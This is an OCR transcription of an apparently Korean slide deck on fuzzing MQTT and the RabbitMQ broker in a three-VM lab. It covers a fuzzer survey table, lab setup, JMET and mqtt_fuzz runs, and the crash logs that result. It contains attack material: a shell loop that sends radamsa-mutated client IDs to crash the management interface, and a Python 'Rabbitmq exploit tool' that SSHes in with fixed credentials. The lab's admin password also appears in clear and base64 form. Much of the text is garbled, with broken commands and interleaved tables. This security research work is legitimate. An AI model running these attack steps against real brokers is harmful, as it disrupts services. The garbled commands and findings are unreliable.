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uzzing: State of the Art
I.

o OlHd E x-| O T x | E Name Vour |T2reets Key Techniques Platforms Availability
= - o Linus,
Peach 2004 |General purpose Black-box mutation/generation fuzzing Windows, Opentsource
MacO5
TABLE VI . Input knowledge bazsed black-box generation [ARM, 1386
TypicAL Fuzzers AND THEIR PROBLEM DOMAINS Trinity 2004 |08 Kernels fuszing <8664, etc. Open-source
Seads m and Input validationand Handling crash-in-  Leveraging runtime bheSTORM 2005 |General purpose Black-box generation fuzzing I{nux' Commercial
Name - h Scalability in fuzzing Windows
coverage ducing test cases information _ TavaSerint eneine in Fire- Grammar-based black-box generation fuzz- |Linux,
Peach o J 0 x M jsfunfuzz 2007 }ox PETIPL engine " ling, MacO8S, Open-source
Trinity ! ¥ o} x A Differential testing Windows
beSTORM ! f o] X / 7 Ii 2 ica= ) ] ] | Microsoft i -
. i ) v,- SAGE 2008 I.argc Windows applica White-box generation fuzzing Windows Microsoft inter
Jefunfuzz / N o] x o tions |nal
SACE f 3 ! A J 8 =hoa atl o
Si(lde]: : “, ((:J ; J Sulley 2008  |Network protocols #Ef:ﬁ':m“ ledge based black-box generation Windows Opentsource
E ¥ cEing
TL fuze / * / . 7] 2 o 1 .
]{JC! L fuzzer ! ) o Y IOCTL fuzzer |2009  |Kernel drivers llnpqt knowledge based black-box generation Windows Opentsource
Camith / N X b 4 Tuzzing
LangFuzz 'l y o * f Grammar-based black-box generation fuzz- I..mux.
AFL (.J X X ¥ :r Cemith 2011 |C compilers ing, ;{::g:n' Open-source
YMIR ! J 0 * - Differential testing Windows
vUSBIf / ¥ o] X o] — =
CLsmith / V 8] X 8] . Language-agnostic inter Grammar-based black=box generation/muta- |, . . _
Syzkaller ' J o J J LangFuzz 2012  |preters tion fuzzing Linux Closed-source
TLSAttack / . o 5 . (JavaScript, PHP) -
Qubi-c-kFJ;i - ! :‘ * * v Coverage-guide gray-box fuzzin Linux, Free:
I AFL 2013 |Applications - AgCEUIdE Eray AN {Open=NetBSD, |Open-source
CAB-FUZZ / Y o] + C Genetic algorithm MacOS, Solaris
- S, 5 5
EAFL X o 9] ~ - — -
P . Generation of fuzzing grammars using API- |, .. ) - S
The meaning of the symbols in table is as follows: YMIR 2013  [ActiveX control level concolic testing Windows Closed-source
1) Seeds generation and selection Input k ledge based black-h ¥, 1i
S 5 s put knowledge based black-box generation |, . .
: The fuzzer can automatically generate seeds or adopt some seed selection algorithm. vUSBt 2014 |USE drivers fuzzing Linux Open-source
r provides some high-guality seeds for testers w choose (usually for mmation-based fuzzers). G b ool n —
. - srammar-based black-box generation fuze
: are collected by testers manually. ClLemith 2015 Many core openCL com= in Linux Opensource
[- The fuzzer does not require seeds in random (usually for grammar-based fuzzers). e 2 pilers R 8. dom diff ial . 4 EMI . : P ©
2) Input validation and coverage andom differential testing and EMI testing
+/: The fuzzer utilizes input grammars or other knowledge to generate test cases, or adopis some ways to pass through input validation. Syzkaller 2016 |08 Kernels CU"CTaﬁ"—t-R'mdc gray-box generation/muta- Linux Openssource
The fuzzer uses some methods to mitigate the problem caused by input validation. _ tion fuzzing
2 The fuzzer does not use any input information or approach to pass through input validation. Grammar-based black=box mutation fuzzing, |Linux,
3) Handling crash-inducing test cases TLS-Attacker |2016 |Network protocols using modifiable variables and two=stage MacO3, Open=source
The fuzzer can analyze the found bugs antomatically and generate a detailed bug report fuzzing Windows
The fuzzer can provide some useful information, like log file, to help subsequent bug analysis . . . L Grammar-based black-box generation/muta- |, ,
¢ The fuzzer only generates crash-inducing test cases. QuickFuzz 2016  |Applications tion fuzzing Linux Opentsource
4) Leveraging runtime information Linux,
+/' The fuzzer uses runtime information to %uldc fest case generation. CAB-FUZZ 2017 |08 Kernels gray-box fuzzing, using concolic testing MacOS, Unknown
2 The fuzzer does not use any feedback information during runtime. N Windows
5) Scalability in fuzzing - - — - - -
The fuzzer can test real-world applications effectively and has found plenty of bugs. Coverage=guide gray-box fuzzing, using hy=  [Linux,
The fuzzer is in its experiment period and applied to some real-world programs. kAFL 2017 |08 Kernels pervisor and Intel's Processor Trace technol |MacOS, Opentsouree
2 The fuzzer can only test some experimental programs ogy Windows
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« MQTT Security: A Novel Fuzzing Approach
« X
« MQTT ZEEZES 73 St= App 222 £/SF Framework 74
« MQTT(Message Queue Telemetry Transport)

. HAIX| EE2HE 0|28 2 EZM Point-to-Point 7} Of
publish/subscribe =& AtE

 Publisher & X|2} Subscriber ZX|7t MZ0|| Lot HEE =2t &

‘ts

Msg type(4byte) | DF | QoS(2byte) |Retain
Remaining Length
Topic Name Length MSB
Topic Name Length LSB
Topic Name
Message ID MSB
Message |ID LSB

l Payload
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MQTT Security: A Novel Fuzzing Approach
« MQTTL| =8 7li'd 37X
1. Topics
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2. Client
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3. Broker
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# (e.g. 1

ensure_threa
check_start_params
RABBITMQ_CONFIG_FILE=%
FRI_MAX FTS_TARI FS=4FR

sasl sasl_error_logger
-rabbit error_logger "SRAB
-rabbit sasl_error_logger
-rabbit enabled_plugins_file
-rabbit plugins_dir "\"
-rabbit plugins_expand_dir
-os_mon start_cpu_sup false \
start_disksup false \

greendot@server:~$ service rabbitmg-server status
@rabbitmg-server.service - RabbitMQ Messaging Server
Loaded: loaded (/lib/systemd/system/rabbitmqg-server.service; enabled; vendor preset: enable
Active: active (running) since Mon 2019-04-01 01:32:52 KST; 2 weeks 2 days ago
Main PID: 5044 (rabbitmg-server)
Tasks: 88 (limit: 2290)
CGroup: /system.slice/rabbitma-server.service
5044 /bin/sh fusr/sbin/rabbitmg-server
5053 /bin/sh fusr/lib/rabbitmg/bin/rabbitmg-server
5199 jfusr/lib/erlang/erts-9.2/bin/epmd -daemon
5326 fusrflibferlang/erts-9.2/bin/beam.smp -W w -A 64 -P 1048576 -t 5000000 -stbt
5434 erl_child setup 65536
5500 inet_gethost 4
5581 inet_gethost 4

greendot@server:~$ file fusr/sbin/rabbitmqg-server

Jusr/sbin/rabbitmg-server: symbolic link te ../lib/rabbitmg/bin/rabbitmg-script-wrapper

greendot@server:~$ file fusr/lib/rabbitmg/lib/rabbitmq_server-3.6 18/shin/cahhitmn-<erver
ib/rabbitmg/1ib/rabbitmq_server-3.6.10/sbin/rabbitmq-server: POSIX shell script, ASCII t
ecutable
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« JMET(Java Message Exploitation Tool)
« Gadget, XXE, Custom Al| 7} X| 2| exploitation 2= K|S

AlS
® Ea‘2§

greendot@consumer:~/jmetS java -jar jmet-0.1.0-all.jar -u testl -pw 1234 -Q gl -I
RabbitMQ -Y xterm -zZv / 10.0.08.10 5672

=INFO REPORT==== 18-Apr-2019::00:51:38 ===

accepting AMQP connection <0.4132.441> (10.0.0.12:49404 -> 10.0.0.10:5672)

userm@producer:~/jmetS java -jar jmet-0.1.0-all.jar -u testuser -pw jini22 -Q q1

-1 RabbitMQ -Y xterm -Zv v_hostl 10.0.0.2 5672
WARNING: Running test version of RIMS Client with no version information.

» 18.0.8.2:¢C

2): user 'testuser' authent
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* mqtt_fuzz(1/3)
 F-secureAtOf| A 7ot QEAA MIAX] Y =
e mott E2EEE MK
o LIEE matt MO T2l S HESHY HA = FAL] U MS
- RadamsaZ2l Python Twisted Z 2
* Radamsa= 8= FA%| 2AIE 2 HEI0 EEHot=s 2= 1T
« Twisted= O|HIE 7|8 HES|Z T
greendot@consumer:~/mqtt_fuzz$ python mqtt_fuzz.py
usage: mqtt fuzz.py [-h] [-ratio fuzz ratio] [-delay send delay]
[-validcases validcase path] [-fuzzer fuzzer path]

target_host target_port
mqtt_fuzz.py: error: too few arguments

greendot@consumer:~/mgtt_fuzz$ 1s -al

-rw-r--r-- 1 root root 4404
root root 38
root root 4096

reprotool.py
requirements. txt 25
valid-cases

https://github.com/cybertramp/q

A 64
drwxr-xr-x 4 root root 4096 1
drwxr-xr-x 46 greendot greendot 4096 18 - -
drwxr-xr-x root root 4096 1 .git
-rW-r--r-- 1 root root 10365 1 LICENCE
-rw-r--r-- 1 root root 3827 1 fuzzpool.py
(QIB()Ig -rw-r--r-- 1 root root 8314 1 mqtt fuzz.py
-rw-r--r-- 1 root root 5969 1 readme.txt
1
1
1



https://github.com/cybertramp/qbqb_rabbitmq/blob/master/3_Analysis_vuln_tools/2_Use_fuzzing_tools/3_mqtt_fuzz/KR.md

AIK|Off CHH T

—

* mqtt_fuzz(2/3)
* valid-cases

LHE =l Mo Tzl =0l

greendot@consumer:~/mqtt_fuzz
A 40

drwxr-xr-x 10 root root 4096
drwxr-xr-x root root 4896
root root 4096
root root 4096
root root 40946
root root 4096
root root 4096
root root 4096
root root 4096
root root 4096

S S S L TN R Y

olL- [
AN —

Jvalid-ca

e

- mott HAIX| B[ & 250

QBQB

greendot@consumer:~/mqtt_fuz

Ld =55 hexdump -C connect/mqtt connect.raw
00000000 10 16 00 04 4d 51 54 54 04 02 00 00 00 @a 6d 79

00000010 63 6C 69 65 6e 74 69 64

00000018

greendot@consumer:~/mgtt_fuz
00oe0008 82 Ob 00 02 0O 06
ooeeeeed

greendot@consumer:~/mgtt_fuzz

00000000 40 02 00 01
00000004

|E-IIEE|

03::
03:1
03::
03::
03:1
03:1
03::
03::
03:1
03::

# Message types|
CONNECT Ox10
CONNACE = 0OxZ0

PUBLISH = 0x30
PUBRCEK = 0x40
PUBRREC = 0x50

FUBREL = 0x60
PUBCOME = 0x70
SUBSCRIRE = (0x80
SUBACEK = 0x350
UNSUBSCRIBE = 0xA0
UNSUBACE = 0xBO
PINGREQ = 0xCO
PINGRESP = 0xDO
DISCONNECT = 0xEO

hexdump -C subscribe/mqtt.subscribe.101.raw
TopicA. |

$ hexdump -C publish-ack/mgtt.publishack.259.raw

https://github.com/cybertramp/gbgb_rabbitmg/blob/master/3_Analysis_vuln_tools/2 Use fuzzing_ tools/3_mgtt fuzz/KR.md
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AIK| O] CHSH T &)

* mqtt_fuzz(3/3)
. AMB

S python mgtt fuzz.py 1@.@.@.1@.1533 -ratio 3 -delay 100

=M ck
-h E2E
-ratio 10 I§ 2l & I & & (0: not fuzz / 10: all fuzz)
-delay ms THe|2| X| (7|2 50ms)
-validcases | valid-case C|HE 2| X|’d (7|22 valid-cases/)
fuzzer oA X|’8(7| 22 radamsa)

QBQB

https://github.com/cybertramp/gbgb_rabbitmg/blob/master/3_Analysis_vuln_tools/2 Use fuzzing_ tools/3_mgtt fuzz/KR.md
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 VMware workstation B Rabbim

« Ubuntu LTS 18.04 64bit P I
« VM 37l(Z 2gb/30gb) (e

QBQB

,,,,,,,,

Ubuntu 18.04 LTS Ubuntu 18.04 LTS Ubuntu 18.04 LTS
10.0.0.1/24 10.0.0.2/24 10.0.0.3/24
pI’OdUCEI’ server consumer
30G/2G 30G/2G 30G/2G
. - .
(b mosavitto MaRabbit (6 mosavitto
ERLANG

vmware

28



1.0S E2X| 8l 7|2 2o =23 AX]
« Ubuntu 18.04 LTS 64bit A X|
o ¢ X3}

user@ubuntu:~$ sudo apt update

« vm-tools & X|

user@ubuntu:~$ sudo apt install open-vm-tools open-vm-tools-desktop

- vim, git curl, gcc, make,wget, python-pip & X|

user@ubuntu:~% sudo apt install vim git curl gcc make wget python-pip -y

QBQB

https://github.com/cybertramp/gbagb_rabbitmag/blob/master/4_Test_bed_setup/KR.md
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user@ubuntu:~% sudo apt install rabbitmg-server

user@ubuntu:~S netstat -tnlp | grep 56

« 22|, matt 2220 =3}

# setup rabbitmg-s e
sudo rabbitmgctl add user admin yana6728
sudo rabbitmqctl set_user_tags admin administrator

sudo rabbitmgctl set permissions -p / admin "

sudo rabbitmgctl add user testl 1234

sudo rabbitmqctl set_permissions -p / testl "

sudo rabbitmgctl add_user test2 1234
(QIg()fg sudo rabbitmgctl set_permissions -p / testi

https://github.com/cybertramp/gbagb_rabbitmag/blob/master/4_Test_bed_setup/KR.md
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- HAE HE =
i L s

3. producer, consumer @A E A &
- mosquito-clients & X|(producer, consumer)

# install

git clone https://gitlab.com/akihe/radamsa.git
cd radamsa

sudo make OFLAGS=-01

sudo make install

cd ..

# install Twisted
pip install Twisted

# install mgtt_fuzz

git clone https://github.com/F-Secure/mqtt fuzz.git

QBQB

https://github.com/cybertramp/gbagb_rabbitmag/blob/master/4_Test_bed_setup/KR.md
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.2 D
4. HESIZ M E@1/3)
« VM U EQ3 host-onlyZ HA

Virtual Machine Settings

Hardware  Options

i Device status
Device Summary
0 Memary 2GB Connected
[ Processors 2 Connect at power on

=k Hard Disk (SC5I) 30 GB )
“)CD/DVD (SATA) Using file C:¥UsersWparan_son'®0... Netwark connection

ClMNetwork Adapter  Host-only (O Bridged: Connected directly to the physical network

USE Centraller Present Replicate physical network connection state

l.elil Sound Card Auto detect
=hPrinter Present () MAT: Used to share the host's IP address

gDisplay Auto detect I (®) Host-only: A private netwark shared with the host I
I_J) Custom: Specm-: wvirtual network

VMnet0
O LAN segment:

4
QBQB

https://github.com/cybertramp/gbgb_rabbitma/blob/master/4_Test bed_setup/KR.md 32
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4. HERA ME(2/3)

C BAE Y M

localhost
ubuntu

producer
server

g consumer
Llowing Lines are desirable for IPv6 capable hosts
ip6-localhost ip6-loopback
ip6-localnet
ip6-mcastprefix
ip6-allnodes
ip6-allrouters

QBQB

https://github.com/cybertramp/gbagb_rabbitmag/blob/master/4_Test_bed_setup/KR.md
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4. HEXA ME(3/3)
- I”IPHETY
* netplang Sl H&

ethernets:
ens33:

addresses: [10.0.08.1/24]

dhcp4:

ethernets:
ens33:
addresses: [10.0.0.2/24]
dhcp4: no

ethernets:
ens33:

addresses: [10.0.0.3/24]
dhcpa: no

. Y ESIA OHLIK TYAIE} 2 20l

root@server:~# systemctl stop network-manager

root@server:~# systemctl start network-manager
83 root@server:~# ip addr

QBQB

https://github.com/cybertramp/gbagb_rabbitmag/blob/master/4_Test_bed_setup/KR.md
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[=ERROR REPORT: = 15-Apr-2019::19:23:38
Ranch listener rabbit web_dispatch_sup_1 had connection process started with cowb
oy_protocol:start_link/4 at <@.2907.441> exit with reason: [{reason,{ucs,{bad_utfs_ch
Management ile, "xme .erl™}, {line,186}1},{mochijson2,json_encode string,Z,[{file,"
src/mochijsonz.erl"}, {line,20431},{mochijson2, ' - json_encode. { funie-',3,[{fL
. Le,"src/mochijsonz.erl"], {line, 18511}, {lists, foldl,3, [{File, " 11 1"}, {line,1263}]
F)Iljgllr] }, (mochijson2, json_encode_proplist,2,[{Ffile,"src/mochijson2.erl"},{line,188}]}, {mochi

-6-',3,[{file, "src/mochijson2.erl”},{line,175}]], {list

ri"},{line,1263}1},{mochijsonz,json_encode_array,2,[{file,
rc/mochijsonz.erl"},{line,177}1}1}, {req, [{socket,#Port 6 ,{transport,ranch

cp}, {connection,keepalive}, {pid,<0.2907.441>} , {method, ">>},{version, "HTTP/1.17}
,{peer,{{127,0,0,1},41926}}, {host,<<"localhost">>},{host_info,undefined}, {port,15672}

8 api/queues”>>},{path_info,undefined},{qs, e_size=100&name=&use
mqtt fUZZ RabbltMQ e pagination=true »{gs_vals,[{ T "p
= B0">>}, { 3.4 ege e
ocalhost:15672">>},{ ser-agent
Linux x86_64 65.0) Gecko/20100101 Firefox/65.0
ccept-language e e

i<
WRtaW46eWFuYTY3|

QBQB

ncoding

e application”>>,<<"/">>,<<"json">>,<<>>]},{
>>}13, {resp_body }.{onresponse,#Fun<rabbit_cowboy_middleware.onresponse.4>}]},{st
ate, [context, {user ,<<"admin">>, [administrator],[{rabbit_auth_backend_internal,none}1}
,<<"yana6728">>,undefined}}]



mqtt_fuzz_video.gif
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RabbitMQ &2| Ez{1¢9l

RabbitMQ Management - Mozilla Firefox

e

b RabbitM@Q Management x [ d
<« c @ localhost i I @
. User: admin
E R a b b |-|: Cluster: rabbit@server (change) Logout
RabbitMQ 3.6.10, Erlang 20.2.2
overview Connections Channels m Queues !  Admin
Exchanges
All exchanges (8)
Pagination
Page| 1 v of1 -Filter: Regex (7 Displaying 8 items , page size up to: 100
Name Type Features Message rate in Message rate out +/-
(AMQP default) direct D
amgq.direct direct D
amgq.fanout fanout D
amgq.headers headers D

1555521457:879928al-7228-4546-b34d-8b464a977d2c: Fuzzer ->
1555521457:9a52bf45-d750-4c5f-b24f-66099fe678
1555521457:9a52bf45-d750-4c5f-b24f-66099Te678i Fuzzer -> Server: QATIAKQE=
AC1555521457:Connection to MQTT server los [Failure instanc
s5): <class 'twisted.internet.error.ConnectionLost's:
non-clean fashion: Connection lost.

Server: 4AA=
Sending fuzzed publish-ack

]
1555521457 :Reconnecting

1555521457 oppcd fuzz run to localhost:1883
Py greendot@server:~/mg

QBQB

Traceback (failure with no frame
Connection to the other side was lost in a

RabbitMQ 215}

"src/mochijson2.erl"}, {line, 204}]} {mochijson2,'-json_encode_proplist/2-fun-0-
ile,"src/mochijson2.erl"},{1line,185}]1}, {1lists foldl,B,[{file,"ltsts.erl"},{li e,1263}
]},{mcchijionz,jm)n encode_proplist,2,[{file, c/mochijson2.erl"},{line,188}]},{moch
ijson2, '-json_encode arrayjz fun-0-',3,[{file,"src/mochijsonz.erl"},{1ine,175}]},{1lis
ts,foldl,3,[{file .erl"}, {ltnc 12n3}]} {mochijson2,json_encode_array,2,[{file,"
src/mcchl]sonz er ,1773131}, {req, [{socket ,#Port<@.2216113>},{transport,ranch_
tcp},{connection, },{pid,r:0.24538.442>},{methcd GET">>},{version, 'HTTP/1.1

1 <"localhost }.{host_info undeftned} {port,1567
_info,undefined},{qgs,

113}, {bindings
ozilla/5.0 (>f1

L[13, {h:-adr.-r
Ubuntu;

localhost 6 , user- agent
5.08) Gecko/20100101 Firefox/65. 0‘

WFUYTY3Mj
f-none-match”
>>,undefined}, {< Al e 1000,[
ep-alive">>]1}]},{cookl undefined}, {meta [{media_type,{
json ,,,[]}} {char<ct undefined} ]}, {body_state,waiting}, {buffer,
s,true},{resp_state waLthg} {re<p header< [
">>11},
vary"s>, origi
}.{onresponse,#Fun<rabbit_cowboy_middleware.onresponse.4=}]},{
,[administrater],[{rabbit_auth_backend_internal,none}

">>,undefined}, {

13134

<<"application"=>=>,<
},{multipart,und

E{D

s

00b7f65-402e-4fe3-ad9d-2aa44a498b88 nding valid disconnect

00b7 -4fe3-ad9d-2aa44a498b88:Fuzzer erver: 4A
1555521457 :d88c65e6-1ed8-4104-a46c-a676907389c5:End of session, initiating disco
nnect.
AC1555521457:Connection to MQTT server lost: [Failure instance: Traceback (failu
re with no frames): <class 'twisted.internet.error.ConnectionlLost'>: Connection
to the other side was lost in a non-clean fashion: Connection los

-

:Reconnecting
t:)p ed fuzz run t:) localhost:1883




=INFO REPORT==== 18-Apr-2019::02:17:37 ===
MQTT detected network error for "127.8.0.1:39702 -> 127.0.0.1:1883": peer closed TCP connection

=ERROR RERR@R&%Lplzow::oz 17:58 === PW ID II‘l 0'“ o I-lEI_| EH:I-

Ranch listenar rcabhit weh dicnatch enn 15672 had connection prpcess started with cowboy protocol:start _link/4 gt <0.24538.442> exit with reason: [{r
eason,{ucs,{bad utf8 character code}}} {mfa,{rabbit_mgmt_wm_gffeues,to json,2}},{stacktrace,[{xmerl_ucs,from utNg,1,[{file,"xmerl ucs.§rl"},{line,186
113, {mochLJ;an,J;un_\n;uu\_;h.Lng,;,[{file,“src/mochtjsonz. 1"},{1line,204}]1},{mochijson2,'-json_encode propli}t/2-fun-0-',3,[{file, §rc/mochijson2
.erl"},{line,185}]1},{lists,foldl,3,[{file,"lists.erl"},{ling,1263}]1},{mochijson2, json_encode_proplist,2,[{file,"§rc/mochijson2.erl"},{Xine,188}]1},{m
ochijson2,'-json_encode_array/2-fun-0-',3,[{file,"src/mochifson2.erl"},{1line,1753}]1},{1lists,foldl,3,[{file,"listsNerl"},{1line,1263}1},{mYchijson2, jso
n_encode_array,2,[{file,"src/mochijson2.er1"},{1line,177} 11}, {req,[{socket,#Port<0.2216113>},{transport,ranch_tcp), {connection,keepalivey,{pid,<0.24
538.442>},{method,<<"GET">>},{version, 'HTTP/1.1'},{peer, {§127,0,0,1},48870}},{host,<<"localhost">>},{host_info,und§fined},{port,15672},{Rath,<<"fapl
/queues"=>>},{path_info,undefined},{qs,<<"page=1&page_sizg~100&name=&use_regex=false&pagination=true">>},{qs_vals,[{§<"page">>,<<"1">>},{<\"page_size
">>,<<"100">>}, {<<"name">>,<<>>},{<<"use_regex">>,<<"fale">>}, {<<"pagination”>>,<<"true">>}1},{bindings,[]1},{headeNs,[{<<"host">>,<<"locajhost: 1567
2">>},{<<"user-agent">>,<<"Mozilla/5.0 (X11; Ubuntu; Lifiux x86 _64; rv:65.0) Gecko/20100101 Firefox/65.0">>},{<<"accejt">>,<<"*[*">5} {<<"a
uage">>,<<"en-US,en;q=0.5">>},{<<"accept-encoding">>,<ff"gzip, deflate">>},{<<"referer">>,<<"http://localhost:15672/">%},{<<"authorization">
C YWRtaW46eWFuYTY3Mjg=">>},{<<"x-vhost">>,<<>>},{<<"cgnnection">>,<<"keep-alive">>},{<<"cookie">>,<<"m=2258:YWRtaW46eWEuYTY3Mjg%253D">>}]}, {§_header
s,[{<<"if-modified-since">>,undefined},{<<"if-none-mgtch">>,undefined}, {<<"if-unmodified-since">>,undefined}, {<<"i1f-maYch">>,undefined}, {<<"Xcept">
>, [{{<<"*">>,<<"*">>,[]1},1000,[]1}]1},{<<"connection"f,[<<"keep-alive">>]}]},{cookies,undefined}, {meta, [{media_type, {<<¥pplication">>,<<"json=>,[]}
},{charset,undefined}]}, {body_state,waiting}, {buff ,<<>>} {multipart undefined},{resp_compress,true},{resp_state waiting} {resp_headers,[{<<"vary"=>
,[::"accept">> [<<", ">>,=<"accept-encoding">>],[¥<", ">>,<<"origin">>]]},{<<"content-type">>,[<<"application">>,<<"/":o;<s"jzan}>> ”“]},[T’ cary
"s>, <<"origin"==}]},{resp_body,<<>=1 fonrocnaonca “f“"'*abbtt _cowboy_middleware.onresponse.4=}]1},{state, {context, {user <« admln s> [admlnlstratcr] [{
rabblt _auth_backend_1internal none}]},<< yanaﬁ?za ==, uniefined}}]

greendot@server:~$ 1ls -d fvar/log/

Jvar flog/ others EE 7*%
greendot@server:~% 1ls -dls /fvar/flog/

4 drwxrwer-x 12 root syslog 4096 43 4 12:45 /var/log/
greendotiserver:~$ ls -dls fvar

4 drwxr-<r-x |14 root root 4696 28 10 09:20 /var

greendotidserver:~$ ls -dls /fvar/log

4 drwxrw<r-x 12 root syslog 4096 48 4 12:45 fvar/log
greendotwseiver:~5 1ls -dls /fvar/log/rabbitmq

4 drwxr-<r-x [2 rabbitmq rabbitmq 4096 4% 1 01:32 /var/log/rabbitmg
greendotgseizer:~$ ls -1s fvar/logfrabbitmg/rabbit@server.log

14968 -rw-r--r-- 1 rabbitmq rabbitmq 15322842 4& 2 03:36 /var/log/rabbitmg/rabbit@server.log
greendot@sercver:=$ 1s -1s fusr/bin/rabbitmgadmin

36 -rwxr-)r-x | root root 36196 6& 28 2017 Jusr/bin/rabbitmgadmin




2. LIl ArgS

O
P~ 4
* T gfjél EI-?_:|
« HFAH O |o
= O TT

ERROR REPORTE &'H Y ™ bad_utf8 character code £ ?!3|
S Of| 217t HMAMCtD 7|2 5= AS 20l
« O|= queuel| O|EE HA| S

IE = random 2AtE 2 X|H = client
idE HA|SI=H| 24|71 /0| 2

+ clientid?} UTF-8 =AtE0| Ol 2 &
« eg., ot2YO CIHERZ X|Hsle BRI CIHEZ| Yo EY =20
o| J\EOHO| OfEl'— 7407|. 0|O

. Bl Xz

https://qgithub.com/rabbitmg/rabbitmg-management/issues/61

https://github.com/rabbitmag/rabbitmg-management/issues/332
greendot@server:~$ sh sub.sh

fdev/stdin: text/plain; charset=utf-8

STRING # 244622 Z §E222[F0/./././....22i&7

83 greendot@server:~5 sh sub.sh
dev/stdin:

tcxt}plaln charset=unknown-8bit
STRING # ?eee7cl 606777,
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https://github.com/rabbitmq/rabbitmq-management/issues/61
https://github.com/rabbitmq/rabbitmq-management/issues/332

>-O

XA

F

greendot@server:~
00000000 10 16 00
63 6c 69
00000018
greendot@server:~
16 29 00
67 72 65
74 65 73

MQ Telemetry Transport Protocol, Connect Command

@x18, Message Type: Connect Command

w Header Flags:
peel .. ..
. beoe
Msg Len: 23
Protocol MName Length: 4
Protocol Mame: MQTT

Message Type: Connect Command (1)
Reserved: @

Version: MQTT v3.1.1 (4)
w Connect Flags: 0x02, QoS Level: At most once delivery (Fire and Forge
o... = User Name Flag: Not set
8. = Password Flag: Not set
.0, = Will Retain: Mot set
..8 8... = QoS Level: At most once delivery (Fire and Forget) (@)

.@.. = Will Flag: Not set
. ..1. = Clean Session Flag: Set
B0 @c 29 4e 11 9 @0 Oc 29 2b 55 2f @8 0P 45 B0
PO 4d 73 68 40 00 40 06 b3 40 Oa 0O 0P 01 Oa 6O
@0 @2 9b 16 ©7 5b a8 98 37 10 5b 33 4b 80 80 18
00 e5 c4 13 60 @0 01 01 @8 Ga dO 9b 57 bl d7 19
Bo40

[EREEY10 17 00 B4 4d 51 54 54 04 02 G0 0P 0O Ob
deslclGd 79 63 Gc 69 65 Ge 74 69 64 3

04 4d 51
65 6e 74

mqtt_fuzz

06 4d
65 6e
74 31

51
64
00

Il )y+us E

64

qtt_fuzze| L& =l {712
O} localhostH| A Bt S &
St7| IS Al= ID, PWZF 2=l X0 mfZl0| e

mqtt_fuzz =
04 00

70
63 6c¢C
SEN S

o)==
L-_O =

= Xt
o

2[5

RabbitMQ ID, PWE

$ hexdump -C ../../valid-cases2fconnect/mgtt.connect.251.raw

T3 EN

00 00 89 0a 6d 79 |....MQTT
|clientid|

S hexdump -C mgtt.connect.777.raw
@9 3c 00 Be QIs <
62 74 60 05 |greendotclient..|

* | —
|test1..1234] =7t ojf 2l

M) Telemetry Iransport Protocol, Connect Command

-

oe4e
0es5e
eelite]
[ae7e

Header Flags: ©x18, Message Type: Connect Command
0001 . ... = Message Type: Connect Command (1)
... 0BEO = Reserved: O
Msg Len: 49
Protocol Name Length: 6
Protocol Name: MQIsdp
Version: MQTT v3.1 (3)
Connect Flags @xc2, User Name Flag, Password Flag, QoS Level: At most once delivery (Fire and Forget),
1... .... = User Name Flag: Set
... = Password Flag: Set
. = Will Retain: Mot set

Clean Session Flag

QoS Level: At most once delivery (Fire and Forget) (@)
Will Flag: Mot set

Clean Session Flag: Set

(Reserved): Not set

P -
Keep Alive: 6@
Client ID Length: 22
Client ID: mosqpub|51764-producer
User Name Length: 5
User Name: testd
Password Length: 4
Password: 1234

00 Oc 29 d4e 11 9 @0 Bc 29 2b 55 2f 08 00 45 00 N 1+Us - E
00 67 01 1T 40 00 40 @6 25 70 0a 00 00 01 0a 0O
@0 82 9a d@ ©7 5h 6a cc Od cc c3 41 3a 44 80 18
00 e5 d2 Al B0 B0 01 1 @8 Pa d@ 7a 77 72 d7 d9
LR Rio 31 00 @6 4d 51 49 73 64 70 03 c2 0@ 3(]
B0 16 6d 6f 73 71 70 75 62 7c 35 31 37 36 34 2d
70 72 6T 64 75 63 65 72 00 05 74 65 73 T4 30 00
31 32 33
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CLIENT_ID="echo "# Zee<

echo SCLIENT_ID

mosquitto sub -h 1€

sleep 1

3 ee"| radamsa’

383 -t keyl -u testl -P yana6728 -1 "SCLIENT_ID"
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-*- coding: utf-8 -*-

import paramiko

#import paho.mgtt.client as mqtt

import paho.mgtt.subscribe as subscribe
import subprocess

import threading

import time

if

def run():

while True:
print("STOP: [CTRL]+[c]™)
sub_msg()
get_log()
threading.Timer(1,thread_run).start()

__name__ __main__
connect_1ip='10.0.0.10" print("= Rabbitmg exploit tool ====")
connect_port_ssh=22
connect_port_mgtt=1883 run()

username="userl’
password="1234"
topic="keyl'

def get_log():
ssh = paramiko.SSHClient()

ssh.set_missing_host_key policy(paramiko.AutoAddPolicy())
ssh.connect(connect_1ip, username= 'user1l', password="1234')

stdin, stdout, stderr = ssh.exec_command('rabbitmgadmin -q list queues name; grep "Ranch
listener rabbit_web_dispatch_sup_15672" /[var/log/rabbitmq/rabbit@ hostname’ .log")
stdin.close()

for line in stdout.read().splitlines():
print(line)

ssh.close()

def sub_msg():

msg=subscribe.simple(topic,
qos=0,
msg_count=1,
retained=False,
hostname=connect_ip,
port=connect_port_mqtt,
client_id=client_id_str,
keepalive=60,

will=None, auth={'username':"test1l",'password':'yana6728'}, tls=None)
print "MESSAGE received\n TOPIC: [",msg.topic, "]\nMESSAGE: [", msg.payload,"]"
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l216151a|3]2]1]e|

| message type | DF|| QoS I

-
R |
-t

~ Remaining Length (1-4 bytes) ~

e e L

| Topic Name Length MSB

e T S S St st Sl ¥

| Topic Name Length LSB

e S e et S e

I
~ Topic Name

-~

e e e e et

| Message ID MSB

e e S e Tt St St

| Message ID LSB

e S e e et S

I
~ Payload
I

~

e S et S S e~

A DDICAMTI

Description

Duplicate delivery of a
PUBLISH Control Packet

PUBLISH Quality of Service

Bit position Name
3 DupP
2,1 Qos

0 RETAIN

PUBLISH Retain flag

Name Value Direction of flow Description
Reserved 0 Forbidden Reserved
i Client request to
CONNECT 1 Client to Server
connect to Server
. Connect
CONNACK 2 Server to Client
acknowledgment
Client to Server or ,
PUBLISH 3 Publish message
Server to Client
Client to Server or Publish
PUBACK 4
Server to Client acknowledgment
_ Publish received
Client to Server or
PUBREC 5 . (assured delivery
Server to Client
part1)
_ Publish release
Client to Server or )
PUBREL 6 . (assured delivery
Server to Client
part 2)
_ Publish complete
Client to Server or
PUBCOMP 7 . (assured delivery
Server to Client
part 3)
i Client subscribe
SUBSCRIBE 8 Client to Server
request
. Subscribe
SUBACK 9 Server to Client
acknowledgment
UNSUBSCRIBE 10 Client to Server  Unsubscribe request
. Unsubscribe
UNSUBACK 11 Server to Client
acknowledgment
PINGREQ 12 Client to Server PING request
PINGRESP 13 Server to Client PING response
. Client is
DISCONMNECT 14 Client to Server . i
disconnecting
Reserved 15 Reserved

Forbidden

